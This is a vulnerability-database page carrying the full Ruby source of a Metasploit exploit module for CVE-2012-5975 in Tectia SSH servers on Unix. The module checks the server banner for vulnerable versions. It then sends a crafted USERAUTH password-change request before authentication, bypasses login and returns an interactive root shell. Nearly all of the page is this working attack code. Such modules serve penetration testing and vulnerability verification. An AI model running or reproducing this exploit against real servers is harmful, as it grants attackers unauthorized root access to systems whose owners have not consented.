Lucene search
+L

Tectia SSH USERAUTH Change Request Password Reset Vulnerability

🗓️ 01 Dec 2012 00:00:00Reported by kingcope, bperry, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 67 Views

Tectia SSH USERAUTH Change Request Password Reset Vulnerability exploit allows remote users to bypass login routine and gain root access on Unix-based Tectia SSH servers

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability in Tectia SSH server for Unix-based
          platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
          before password authentication, allowing any remote user to bypass the login
          routine, and then gain access as root.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'kingcope', # Original 0day
          'bperry',
          'sinn3r'
        ],
        'References' => [
          ['CVE', '2012-5975'],
          ['EDB', '23082'],
          ['OSVDB', '88103'],
          ['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']
        ],
        'Payload' => {
          'Compat' =>
                {
                  'PayloadType' => 'cmd_interact',
                  'ConnectionType' => 'find'
                }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Unix-based Tectia SSH 6.3 or prior', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2012-12-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'The username to login as', 'root'])
      ], self.class
    )

    register_advanced_options(
      [
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def check
    connect
    banner = sock.get_once.to_s.strip
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Banner: #{banner}")
    disconnect

    # Vulnerable version info obtained from CVE
    version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
    build = version.split('.')[-1].to_i

    case version
    when /^6\.0/
      unless (4..14).include?(build) or (17..20).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.1/
      unless (0..9).include?(build) or build == 12
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.2/
      unless (0..5).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.3/
      unless (0..2).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end
    else
      return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not in the vulnerable range")
    end

    # The vulnerable version must use PASSWORD method
    user = Rex::Text.rand_text_alpha(4)
    transport, connection = init_ssh(user)
    return Exploit::CheckCode::Vulnerable("SSH Tectia version #{version} uses PASSWORD authentication") if is_passwd_method?(user, transport)

    return Exploit::CheckCode::Safe("SSH Tectia version #{version} does not use PASSWORD authentication")
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def is_passwd_method?(user, transport)
    # A normal client is expected to send a ssh-userauth packet.
    # Without it, the module can hang against non-vulnerable SSH servers.
    transport.send_message(transport.service_request("ssh-userauth"))
    message = transport.next_message

    # 6 means SERVICE_ACCEPT
    if message.type != 6
      print_error("Unexpected message: #{message.inspect}")
      return false
    end

    # We send this packet as an attempt to see what auth methods are available.
    # The only auth method we want is PASSWORD.
    pkt = Net::SSH::Buffer.from(
      :byte, 0x32,               # userauth request
      :string, user,             # username
      :string, "ssh-connection", # service
      :string, "password"        # method name
    )
    pkt.write_bool(true)
    pkt.write_string("")           # Old pass
    pkt.write_string("")           # New pass

    transport.send_message(pkt)
    message = transport.next_message

    # Type 51 means the server is trying to tell us what auth methods are allowed.
    if message.type == 51 and message.to_s !~ /password/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - This host does not use password method authentication")
      return false
    end

    return true
  end

  #
  # The following link is useful to understand how to craft the USERAUTH password change
  # request packet:
  # http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
  #
  def userauth_passwd_change(user, transport, connection)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending USERAUTH Change request...")
    pkt = Net::SSH::Buffer.from(
      :byte, 0x32,               # userauth request
      :string, user,             # username
      :string, "ssh-connection", # service
      :string, "password"        # method name
    )
    pkt.write_bool(true)
    pkt.write_string("")           # Old pass
    pkt.write_string("")           # New pass

    transport.send_message(pkt)
    message = transport.next_message.type
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Auths that can continue: #{message.inspect}")

    if message.to_i == 52 # SSH2_MSG_USERAUTH_SUCCESS
      transport.send_message(transport.service_request("ssh-userauth"))
      message = transport.next_message.type

      if message.to_i == 6 # SSH2_MSG_SERVICE_ACCEPT
        shell = Net::SSH::CommandStream.new(connection, logger: self)
        connection = nil
        return shell
      end
    end
  end

  def init_ssh(user)
    opts = ssh_client_defaults.merge({
      :user => user,
      :port => rport
    })
    options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
    transport = Net::SSH::Transport::Session.new(rhost, options)
    connection = Net::SSH::Connection::Session.new(transport, options)

    return transport, connection
  end

  def do_login(user)
    transport, connection = init_ssh(user)
    passwd = is_passwd_method?(user, transport)

    if passwd
      conn = userauth_passwd_change(user, transport, connection)
      return conn
    end
  end

  def exploit
    c = nil

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        c = do_login(datastore['USERNAME'])
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::Exception => e
      print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH Error: #{e.class} : #{e.message}"
      return
    rescue ::Timeout::Error
      print_error "#{Rex::Socket.to_authority(rhost, rport)} SSH - Timed out during negotiation"
      return
    end

    handler(c.lsock) if c
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2012 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 29.3
EPSS0.35874
67